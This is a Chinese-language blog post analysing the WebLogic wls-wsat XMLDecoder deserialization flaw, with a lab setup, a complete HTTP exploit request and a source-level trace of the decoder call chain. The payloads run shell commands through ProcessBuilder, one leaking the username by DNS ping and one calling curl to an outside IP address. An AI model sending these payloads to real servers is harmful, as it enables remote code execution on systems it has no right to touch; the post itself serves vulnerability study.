这篇文章将会分析weblogic中xmldecoder引发的安全问题,如果发现有错误的地方,希望师傅们斧正。
0x00 环境搭建
$ cat docker-compose.yml version: '2' services: weblogic: image: vulhub/weblogic ports: - "8453:8453" - "7001:7001"
然后进入容器修改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
if [ "${debugFlag}" = "true" ] ; then JAVA_DEBUG="-Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=${DEBUG_PORT},server=y,suspend=n -Djava.compiler=NONE" export JAVA_DEBUG JAVA_OPTIONS="${JAVA_OPTIONS} ${enableHotswapFlag} -ea -da:com.bea... -da:javelin... -da:weblogic... -ea:com.bea.wli... -ea:com.bea.broker... -ea:com.bea.sbconsole..." export JAVA_OPTIONS
找到这个,在前面加上
debugFlag="true" expport debugFlag
重启一下,然后远程调试使用的idea,我把本地调试的代码打包放到附件里,然后导入library
然后remote即可。
0x01 漏洞分析
先看poc
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 127.0.0.1:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1:7001/wls-wsat/CoordinatorPortType Content-Type: text/xml Content-Length: 916 Connection: close Cookie: user=TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjg6InJlZ2lzdGVkIjtiOjA7czo3OiJjaGVja2VyIjtPOjI2OiJhcHBcd2ViXGNvbnRyb2xsZXJcUHJvZmlsZSI6NTp7czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czoxMDoidXBsb2FkX2ltZyI7fXM6MTI6ImZpbGVuYW1lX3RtcCI7czo3NjoidXBsb2FkLzhiMjY2MzEyMTljOGY4ZWNhYzUxYjkzNWNjODdjY2QxL2E3YzNjZTA3NjU4NTQ3Nzc0MWQ5NTFkMTc5YWIwN2RjLnBuZyI7czozOiJleHQiO2k6MTtzOjg6ImZpbGVuYW1lIjtzOjQ5OiJ1cGxvYWQvOGIyNjYzMTIxOWM4ZjhlY2FjNTFiOTM1Y2M4N2NjZDEvc2hlbGwucGhwIjtzOjExOiJ1cGxvYWRfbWVudSI7czozMjoiOGIyNjYzMTIxOWM4ZjhlY2FjNTFiOTM1Y2M4N2NjZDEiO319; hibext_instdsigdipv2=1 Upgrade-Insecure-Requests: 1 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/sh</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>ping `whoami`.xxx.xxx</string> </void> </array> <void method="start"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
先打上断点看下调用堆栈wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class
我们直接从解析处入手
public NextAction processRequest(Packet var1) { this.isUseOldFormat = false; if (var1.getMessage() != null) { HeaderList var2 = var1.getMessage().getHeaders(); Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true); if (var3 != null) { this.readHeaderOld(var3); this.isUseOldFormat = true; } Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true); if (var4 != null) { this.readHeader(var4); } } return super.processRequest(var1); }
这个processRequest
看起来是个处理xml的函数,在这里调试的时候我发现步入不进xml处理的方法,后来发现本地缺少com.sun.xml.ws
这个包,然后我使用maven导入后还是步入不了,虽然不影响我们分析漏洞,但是弄明白怎么处理的对我们理解更有帮助,然后我选择直接看代码
跟进Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
hhhh手动跟进,没法动态跟,直接看代码吧
@Nullable public Header get(@NotNull QName name, boolean markAsUnderstood) { return this.get(name.getNamespaceURI(), name.getLocalPart(), markAsUnderstood); }
因为里面有方法的重载,根据传入的参数类型以及个数可以看到是这样实现的,进入跟
@NotNull public Iterator<Header> getHeaders(@NotNull final String nsUri, @NotNull final String localName, final boolean markAsUnderstood) { return new Iterator<Header>() { int idx = 0; Header next; public boolean hasNext() { if (this.next == null) { this.fetch(); } return this.next != null; } public Header next() { if (this.next == null) { this.fetch(); if (this.next == null) { throw new NoSuchElementException(); } } if (markAsUnderstood) { assert HeaderList.this.get(this.idx - 1) == this.next; HeaderList.this.understood(this.idx - 1); } Header r = this.next; this.next = null; return r; } private void fetch() { while(true) { if (this.idx < HeaderList.this.size()) { Header h = HeaderList.this.get(this.idx++); if (!h.getLocalPart().equals(localName) || !h.getNamespaceURI().equals(nsUri)) { continue; } this.next = h; } return; } } public void remove() { throw new UnsupportedOperationException(); } }; }
因为这里没有动态调,逻辑理解可能会有些偏差,根据代码
if (!h.getLocalPart().equals(localName) || !h.getNamespaceURI().equals(nsUri)) { continue; }
可以分析出这里是获取了header,然后会将这部分代入this.readHeaderOld(var3);
处理,跟进
wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/workcontext/WorkContextTube.class
这里将缓冲区中的剩余内容读取出来,跟入new WorkContextXmlInputAdapter
public WorkContextXmlInputAdapter(InputStream var1) { this.xmlDecoder = new XMLDecoder(var1); }
实例化了XMLDecoder对象,然后var6
为实例化的WorkContextXmlInputAdapter
对象
继续跟入this.receive(var6)
protected void receive(WorkContextInput var1) throws IOException { WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor(); var2.receiveRequest(var1); }
继续跟
public void receiveRequest(WorkContextInput var1) throws IOException { ((WorkContextMapInterceptor)this.getMap()).receiveRequest(var1); }
继续跟wlserver_10.3/server/lib/wlclient.jar!/weblogic/workarea/WorkContextLocalMap.class
public void receiveRequest(WorkContextInput var1) throws IOException { while(true) { try { WorkContextEntry var2 = WorkContextEntryImpl.readEntry(var1); if (var2 == WorkContextEntry.NULL_CONTEXT) { return; } String var3 = var2.getName(); this.map.put(var3, var2); if (debugWorkContext.isDebugEnabled()) { debugWorkContext.debug("receiveRequest(" + var2.toString() + ")"); } } catch (ClassNotFoundException var4) { if (debugWorkContext.isDebugEnabled()) { debugWorkContext.debug("receiveRequest : ", var4); } } } }
这里在readEntry(var1)
对数据进行处理,往下走可以看到
public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException { String var1 = var0.readUTF(); return (WorkContextEntry)(var1.length() == 0 ? NULL_CONTEXT : new WorkContextEntryImpl(var1, var0)); }
看到了readUTF()
,也就是一开始打断点的地方,跟入到
public String readUTF() throws IOException { return (String)this.xmlDecoder.readObject(); }
这里我们知道$this->xmlDecoder
为XMLDecoder
的对象,这里看一下poc是怎么执行的呢
本地写段简单的代码来理解一下
import java.io.*; import java.beans.XMLDecoder; public class test{ public static String cmd; public static void main(String args[]) throws Exception{ File file = new File("/Users/p0desta/Desktop/code/test/src/exp.xml"); XMLDecoder xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file))); System.out.println(new FileInputStream(file)); System.out.println(new BufferedInputStream(new FileInputStream(file))); xd.readObject(); } }
Exp.xml中的内容为
<java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/sh</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>curl http://114.116.44.126/public/?a=a</string> </void> </array> <void method="start"/> </object> </java>
跟入readObject看看实现的什么
public Object readObject() { return (parsingComplete()) ? this.array[this.index++] : null; }
跟进parsingComplete
private boolean parsingComplete() { if (this.input == null) { return false; } if (this.array == null) { if ((this.acc == null) && (null != System.getSecurityManager())) { throw new SecurityException("AccessControlContext is not set"); } AccessController.doPrivileged(new PrivilegedAction<Void>() { public Void run() { XMLDecoder.this.handler.parse(XMLDecoder.this.input); return null; } }, this.acc); this.array = this.handler.getObjects(); } return true; }
可以看到是调用DocumentHandler.parse
来处理输入,跟进看一下
public void parse(final InputSource var1) { if (this.acc == null && null != System.getSecurityManager()) { throw new SecurityException("AccessControlContext is not set"); } else { AccessControlContext var2 = AccessController.getContext(); SharedSecrets.getJavaSecurityAccess().doIntersectionPrivilege(new PrivilegedAction<Void>() { public Void run() { try { SAXParserFactory.newInstance().newSAXParser().parse(var1, DocumentHandler.this); } catch (ParserConfigurationException var3) { DocumentHandler.this.handleException(var3); } catch (SAXException var4) { Object var2 = var4.getException(); if (var2 == null) { var2 = var4; } DocumentHandler.this.handleException((Exception)var2); } catch (IOException var5) { DocumentHandler.this.handleException(var5); } return null; } }, var2, this.acc); } }
然后传进来的var1
继续进入SAXParserFactory.newInstance().newSAXParser().parse(var1, DocumentHandler.this);
public void parse(InputSource is, DefaultHandler dh) throws SAXException, IOException { if (is == null) { throw new IllegalArgumentException(); } if (dh != null) { xmlReader.setContentHandler(dh); xmlReader.setEntityResolver(dh); xmlReader.setErrorHandler(dh); xmlReader.setDTDHandler(dh); xmlReader.setDocumentHandler(null); } xmlReader.parse(is); }
重点关注xmlReader.parse(is);
public void parse(InputSource inputSource) throws SAXException, IOException { if (fSAXParser != null && fSAXParser.fSchemaValidator != null) { if (fSAXParser.fSchemaValidationManager != null) { fSAXParser.fSchemaValidationManager.reset(); fSAXParser.fUnparsedEntityHandler.reset(); } resetSchemaValidator(); } super.parse(inputSource); }
继续跟入父类的parse
方法,往下走可以看到一系列处理xml的代码
跟到/rt.jar!/com/sun/beans/decoder/ElementHandler.class
public void endElement() { ValueObject var1 = this.getValueObject(); if (!var1.isVoid()) { if (this.id != null) { this.owner.setVariable(this.id, var1.getValue()); } if (this.isArgument()) { if (this.parent != null) { this.parent.addArgument(var1.getValue()); } else { this.owner.addObject(var1.getValue()); } } } }
在往下跟,会发现构造的poc里面的恶意字符会拼接起来
继续跟
跟到这里的时候var5.getValue
里面有东西
public Object getValue() throws Exception { if (value == unbound) { setValue(invoke()); } return value; }
反射调用了,整个调用链就是这样。
0x02 参考
https://blog.csdn.net/SKI_12/article/details/85058040 http://whip1ash.cn/2018/10/21/weblogic-deserialization/ https://xz.aliyun.com/t/5046
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论